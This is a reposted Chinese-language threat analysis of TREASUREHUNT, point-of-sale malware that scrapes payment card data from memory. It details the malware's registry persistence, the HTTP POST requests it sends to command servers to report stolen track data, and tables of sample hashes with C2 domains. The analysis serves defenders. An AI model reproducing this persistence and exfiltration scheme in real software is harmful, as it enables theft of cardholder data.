转载

TREASUREHUNT：为黑客特别定制的POS恶意软件工具

本文中所介绍的软件及工具具有一定的攻击及危害性，仅作为学习交流使用，严禁用于非法用途。

自2015年初POS恶意软件的数量就在不断增长。这种软件一般都是将窃取的银行卡信息上传到一个指定的CNC服务器上。

虽然2015年10月PCI DSS标准发生了改变，但是目前仍然有很多零售商处于启用芯片卡技术的过渡期。于是犯罪分子们就将目光放在了商家使用的pos系统。仅2015年就发现超过十几种POS恶意软件。

POS恶意软件现在分为三类：免费，按价支付以及犯罪分子自己特制。其中，免费工具通常会因为恶意软件源代码的泄露导致软件落后或被安全软件检测出来。购买的POS恶意软件一般是最新开发的或是通过修改旧版本而来的工具。最后一种就是由一个威胁组独自开发为自己所利用。

在这篇文章中我们测试了一款名为TREASUREHUNT的软件，这应该是特地为一家主销售盗取的信用卡数据的“dump shop”特地设计的。这个软件通过枚举当前进程从存储器中提取支付卡的信息，然后将该信息发送到一个CnC服务器。

TreasureHunter Version 0.1

首先简要说明一下，TREASUREHUNT这个名字来自于二进制文件中的一个字符串：

C:/Users/Admin/documents/visual studio 2012/Projects/treasureHunter/Release/treasureHunter.pdb

TreasureHunter version 0.1 Alpha, created by Jolly Roger

(jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.

通常情况下，TREASUREHUNT会通过使用以前窃取的凭证或暴力破解植入进一个POS系统。

进入系统后，TREASUREHUNT自动安装到％APPDATA％目录下，并建立一个注册表运行键：

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/jucheck

然后，恶意软件通过HTTP POST连接到CNC服务器：

POST /megastock/gate.php?request=true HTTP/1.1  Content-Type: application/x-www-form-urlencoded  User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)  Host: millionjam[.]eu  Content-Length: 78 Connection: Keep-Alive request=a0edee4769109a&use=6fGhtyNfd97Jqw3&id=[REDACTED]

其中POST数据的“请求”值是编码字符串”GETKEYS”。“use”是硬编码也可能是一个标识符。“id”是受损系统的唯一标识符。那么CNC服务器返回的响应应该包含字符串“success”。

然后这个恶意软件会扫描所有正在运行的进程（除了System33，Syswow64或/ WINDOWS / explorer.exe的进程）以搜索所有系统内的支付卡数据，再把数据以二进制形式发送到CNC服务器。

如果找到支付卡数据就发送到CNC服务器：

POST /gate.php?report=true

发回的数据有：

report=<encoded_track_data>&id=<encoded_data>

当然，一般运营商会通过CNC服务器上的Web界面来控制受损系统并获取被盗支付卡的信息。

TREASUREHUNT：为黑客特别定制的POS恶意软件工具

我们发现现在能确定的TREASUREHUNT样例中有着相同的编译时间戳——2014-10-19 07:14:39。我们觉得应该是建立的时间而不是实际编译的时间。

TREASUREHUNT v0.1 的哈希和CnC信息：

MD5	Domain	Path
cec2810556c63e9c225afb6a5ca58bc1	millionjam.eu	/megastock/gate.php
cb75de605c171e36c8a593e337275d8f	cortykopl.com	/sdfsgsdsdssdf/gate.php
6a9348f582b2e121a5d9bff1e8f0935f	91.232.29.83	/sdfsgsdsdssdf/gate.php
070e9a317ee53ac3814eb86bc7d5bf49	179.43.160.34	/wp-content/temp/gate.php
3e2003878b364b5d77790109f24c9137	3sipiojt.com	/noth/gate.php
21f99135f836fb4d3f4685d704a4460d	friltopyes.com	/southcal/gate.php
ea6248e4ddd080e60e6140ab0f8562e1	seatrip888.eu	/gate.php
48692beb88058652115b5c447cd28589	friltopyes.com	/alabol/gate.php
9f9c2e6072e0a233631d234bdcf1b293	friltopyes.com	/nothcal/gate.php

TreasureHunter Version 0.1.1

近期我们又获取了这个TREASUREHUNT的新版本。虽然编译时间戳和以前的版本一样，但是这个版本的不同之处在于它将编码的配置数据存储在了％USERPROFILE％/ ntuser.ini文件中的NTFS备用数据流（ADS）。我们把这些的版本划分为0.1.1版：

TreasureHunter version 0.1.1 Alpha, created by Jolly Roger

(jollyroger@prv.name) for BearsInc. Greets to Xylitol and co.

TREASUREHUNT v0.1.1的哈希和CnC信息：

MD5	Domain	Path
2dfddbc240cd6e320f69b172c1e3ce58	logmeinrescue.us.com	/system/oauth/gate.php

时间轴

TREASUREHUNT版本之间都具有相同的编译时间，因此我们想来确定恶意软件的开发和使用的时间。我们找到了第一次被VirusTotal发现的日期或FireEye动态威胁情报所发现的CnC服务器域名注册日期。然后基于这些日期，我们终于确定了最早发现的TREASUREHUNT出现在2014年10月编译日期后两个月。下图是TREASUREHUNT活跃的时间轴：

TREASUREHUNT：为黑客特别定制的POS恶意软件工具